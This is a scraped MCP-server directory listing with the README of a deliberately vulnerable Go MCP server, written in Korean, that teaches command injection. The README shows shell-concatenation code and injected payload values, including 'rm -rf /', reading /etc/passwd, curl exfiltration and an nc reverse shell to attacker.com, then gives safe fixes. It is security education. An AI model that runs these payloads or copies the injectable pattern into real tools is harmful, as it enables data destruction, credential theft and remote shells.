{
"mcpServers": {
"vuln-mcp-server": {
"command": "<see-readme>",
"args": []
}
}
}No install config available. Check the server's README for setup instructions.
Are you the author?
Add this badge to your README to show your security score and help users find safe servers.
Is it safe?
No package registry to scan.
No authentication — any process on your machine can connect.
License not specified.
Is it maintained?
Last commit 212 days ago.
Will it work with my client?
Transport: stdio. Works with Claude Desktop, Cursor, Claude Code, and most MCP clients.
No automated test available for this server. Check the GitHub README for setup instructions.
No known vulnerabilities.
This server is missing a description. Tools and install config are also missing.If you've used it, help the community.
Add informationHave you used this server?
Share your experience — it helps other developers decide.
Sign in to write a review.
Persistent memory using a knowledge graph
Privacy-first. MCP is the protocol for tool access. We're the virtualization layer for context.
Pre-build reality check. Scans GitHub, HN, npm, PyPI, Product Hunt — returns 0-100 signal.
Monitor browser logs directly from Cursor and other MCP compatible IDEs.
MCP Security Weekly
Get CVE alerts and security updates for Vuln Mcp Server and similar servers.
Start a conversation
Ask a question, share a tip, or report an issue.
Sign in to join the discussion.
🚨 THIS SOFTWARE IS INTENTIONALLY VULNERABLE AND FOR EDUCATIONAL PURPOSES ONLY 🚨
This software contains intentional Command Injection vulnerabilities for security education.
이 프로젝트는 Command Injection 취약점을 보여주는 교육용 MCP (Model Context Protocol) 서버입니다. 보안 취약점의 위험성을 이해하고 안전한 코딩 방법을 학습하기 위한 목적으로 제작되었습니다.
// 위험한 코드: 사용자 입력을 직접 shell 명령어에 삽입
command := fmt.Sprintf("find ./sandbox -name '%s' 2>/dev/null", filename)
cmd := exec.CommandContext(ctx, "sh", "-c", command)
output, err := cmd.CombinedOutput()
취약점: 사용자 입력이 직접 shell 명령어에 삽입됩니다.
공격 예시:
filename = "test.txt; rm -rf /"
filename = "test.txt && cat /etc/passwd"
filename = "test.txt | nc attacker.com 4444"
// 위험한 코드: 사용자 입력을 직접 shell 명령어에 삽입
command := fmt.Sprintf("ls -la '%s' 2>/dev/null", path)
cmd := exec.CommandContext(ctx, "sh", "-c", command)
output, err := cmd.CombinedOutput()
취약점: 경로 입력이 직접 shell 명령어에 삽입됩니다.
공격 예시:
path = "/tmp; cat /etc/passwd"
path = "/tmp && whoami"
path = "/tmp | curl -X POST http://attacker.com/data -d @/etc/passwd"
// 매우 위험한 코드: 사용자 입력을 그대로 shell에서 실행
cmd := exec.CommandContext(ctx, "sh", "-c", command)
output, err := cmd.CombinedOutput()
취약점: 사용자 입력을 그대로 shell에서 실행합니다. 가장 위험한 취약점입니다.
공격 예시:
command = "rm -rf /"
command = "curl -X POST http://attacker.com -d @/etc/passwd"
command = "nc -e /bin/bash attacker.com 4444"
Go 1.19 이상이 설치되어 있는지 확인하세요.
의존성 설치:
go mod tidy
go run vulnerable_mcp_server.go
또는 바이너리로 빌드:
go build -o vulnerable_mcp_server vulnerable_mcp_server.go
./vulnerable_mcp_server
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "search_files",
"arguments": {
"filename": "test.txt"
}
}
}
// 안전한 방법
cmd := exec.CommandContext(ctx, "find", "./sandbox", "-name", filename)
output, err := cmd.CombinedOutput()
import (
"regexp"
"fmt"
)
func validateFilename(filename string) error {
// 파일명 검증
matched, err := regexp.MatchString("^[a-zA-Z0-9._-]+$", filename)
if err != nil || !matched {
return fmt.Errorf("invalid filename")
}
return nil
}
// 사용 예시
func safeSearchFiles(filename string) (string, error) {
if err := validateFilename(filename); err != nil {
return "", err
}
// 안전한 명령어 실행
cmd := exec.Command("find", "./sandbox", "-name", filename)
output, err := cmd.CombinedOutput()
return string(output), err
}
var allowedCommands = map[string]bool{
"ls": true,
"find": true,
"grep": true,
}
func executeSafeCommand(commandName string, args ...string) (string, error) {
if !allowedCommands[commandName] {
return "", fmt.Errorf("command not allowed: %s", commandName)
}
cmd := exec.Command(commandName, args...)
output, err := cmd.CombinedOutput()
return string(output), err
}
이 코드는 교육 목적으로만 제공됩니다. 악의적인 목적으로 사용하는 것은 불법이며, 저자는 그에 대한 책임을 지지 않습니다. 실제 시스템에서 테스트할 때는 격리된 환경에서만 수행하세요.